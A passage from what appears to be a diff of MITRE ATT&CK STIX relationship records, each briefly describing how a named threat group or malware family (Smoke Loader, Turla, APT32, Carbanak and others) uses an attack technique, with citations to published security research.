Talos Smoke Loader July 2018)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-03-28T21:43:37.533Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used WinRM to enable remote execution.(Citation: SecureWorks BRONZE UNION June 2017)", + "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "modified": "2019-07-14T21:15:55.075Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--48281b5d-ca6f-401e-bda1-24f6537dcf1d", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a command to gather system information from the victim\u2019s machine.(Citation: GitHub QuasarRAT)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2019-06-24T19:05:41.571Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d57fba3a-0ed8-49a1-9446-13a4b73c3bc5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) includes garbage code to mislead anti-malware software and researchers.(Citation: ESET OceanLotus)(Citation: ESET OceanLotus Mar 2019)", + "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "modified": "2020-02-05T15:00:14.270Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) has used a VBScript named \"ggldr\" that uses Google Apps Script, Sheets, and Forms services for C2.(Citation: Forcepoint Carbanak Google C2)", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "modified": "2020-03-20T21:06:51.449Z", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.042Z", + "external_references": [ + { + "source_name": "Forcepoint Carbanak Google C2", + "description": "Griffin, N. (2017, January 17). CARBANAK GROUP USES GOOGLE FOR MALWARE COMMAND-AND-CONTROL. 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Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--30da0c3d-8767-4828-b50d-181d9a89b9a8", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can download remote files.(Citation: FireEye Periscope March 2018)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-01-25T15:43:45.766Z", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. 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(2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--731710ae-a6b9-47b7-b8b2-8526ce60be2f", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing remote file transmission.(Citation: Crowdstrike DNC June 2016)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2019-05-14T17:10:21.903Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). 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(2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "source_name": "Palo Alto menuPass Feb 2017" + }, + { + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html", + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. 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Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4d0ea359-36b3-46f8-818a-5aaff3de574a", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) injects itself into various processes depending on whether it is low integrity or high integrity.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "modified": "2020-03-16T16:25:53.814Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. 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Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f7484ee2-6d98-4f5b-8788-2cf1675b349d", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) recursively searches through directories for files.(Citation: Talos Smoke Loader July 2018)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2019-06-24T19:07:12.564Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. 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Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", + "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.", + "source_name": "TrendMicro POWERSTATS V3 June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5550ef5e-a34c-4055-b7be-dd41d76ef7b1", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) downloads additional files that are base64-encoded and encrypted with another cipher.(Citation: Symantec Security Center Trojan.Kwampirs)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-03-18T20:10:20.887Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Symantec Security Center Trojan.Kwampirs", + "description": "Moench, B. and Aboud, E. (2016, August 23). Trojan.Kwampirs. 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Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5a2b7013-a110-4a07-acf6-66a7f159954d", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) can steal clipboard contents.(Citation: objsee mac malware 2017)", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "modified": "2020-01-17T19:50:53.329Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x25.html", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover remote systems on a local network using the net view and net view /DOMAIN commands. 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Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--228e71e2-0e76-4020-a850-7a568412259b", + "description": "[Comnie](https://attack.mitre.org/software/S0244) executes a batch script to store discovery information in %TEMP%\\info.dat and then uploads the temporarily file to the remote C2 server.(Citation: Palo Alto Comnie)", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "modified": "2020-03-17T00:43:31.998Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c", + "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.(Citation: FireEye APT30)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "description": "FireEye Labs. (2015, April). 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Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ad5f49b0-8b92-43d1-99f3-c691ccb7a8ac", + "description": "[DustySky](https://attack.mitre.org/software/S0062) searches for network drives and removable media and duplicates itself onto them.(Citation: DustySky)", + "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "modified": "2020-05-14T15:14:33.559Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d6e43621-ca4a-475f-b81c-037a0878728b", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) used [PowerSploit](https://attack.mitre.org/software/S0194) to download payloads, run a reverse shell, and execute malware on the victim's machine.(Citation: Cymmetria Patchwork)(Citation: TrendMicro Patchwork Dec 2017)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2021-11-02T21:06:31.911Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.075Z", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). 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Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5ff5c840-7064-4d5d-bfbc-0287efd4dd39", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "modified": "2020-06-20T20:42:37.432Z", + "source_ref": "course-of-action--af093bc8-7b59-4e2a-9da8-8e839b4c50c6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-04-18T17:59:24.739Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d1adaa26-90e3-4a7f-af07-577b3003be4c", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil).(Citation: US-CERT TA18-074A)(Citation: Symantec Dragonfly Sept 2017)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2019-03-22T20:13:49.518Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A" + }, + { + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "source_name": "Symantec Dragonfly Sept 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bdd223c2-8d3a-4c99-b261-402b7daaace5", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "modified": "2020-01-24T18:50:29.188Z", + "source_ref": "course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-01-16T16:13:52.465Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--95805281-96b1-49ea-95ee-9d654178c5c3", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) typically use ping and [Net](https://attack.mitre.org/software/S0039) to enumerate systems.(Citation: Secureworks BRONZE BUTLER Oct 2017)", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "modified": "2019-03-22T19:57:37.261Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. 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Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/", + "description": "Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . 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(2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + }, + { + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. 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Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ad7592fd-f5d3-4802-9217-dffe89a6c8eb", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used process hollowing in iexplore.exe to load the [RedLeaves](https://attack.mitre.org/software/S0153) implant.(Citation: Accenture Hogfish April 2018)", + "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "modified": "2019-09-03T18:50:16.533Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. 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(2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", + "source_name": "ThreatExpert Agent.btz" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is capable of keylogging.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", + "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "modified": "2020-03-16T17:11:22.863Z", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017" + }, + { + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a6d35df2-0711-4b18-b733-6200467056ec", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. 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(2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018" + }, + { + "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", + "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.", + "source_name": "Volexity InkySquid BLUELIGHT August 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--938a71e3-a9dc-4ad9-b1c4-b15d75967b8d", + "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on network connections.(Citation: Symantec W32.Duqu)", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "modified": "2019-04-24T23:18:53.182Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3f5c880e-da8c-4ad4-9197-17a18f50dd12", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "modified": "2021-04-13T21:36:05.236Z", + "source_ref": "course-of-action--cb825b86-3f3b-4686-ba99-44878f5d3173", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-04-18T17:59:24.739Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ced15447-281b-4d92-941e-b5df9747a3d5", + "description": "Rundll32.exe is used as a way of executing [Flame](https://attack.mitre.org/software/S0143) at the command-line.(Citation: Crysys Skywiper)", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "modified": "2019-06-06T14:35:53.985Z", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Crysys Skywiper", + "description": "sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.", + "url": "https://www.crysys.hu/publications/files/skywiper.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b3981ca6-7ef0-4625-99a8-9cbec731bac9", + "description": "[Helminth](https://attack.mitre.org/software/S0170) has checked the local administrators group.(Citation: Unit 42 Playbook Dec 2017)", + "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", + "modified": "2020-03-18T20:31:34.254Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://pan-unit42.github.io/playbook_viewer/", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--87648492-36d0-4f94-b318-17280b101678", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) recursively generates a list of files within a directory and sends them back to the control server.(Citation: McAfee Bankshot)", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "modified": "2020-02-18T03:40:29.867Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ea9d456c-f2b7-4d95-ab30-2a7e06586615", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) collected complete contents of the 'Pictures' folder from compromised Windows systems.(Citation: Lookout Dark Caracal Jan 2018)", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "modified": "2019-07-16T15:35:20.805Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": 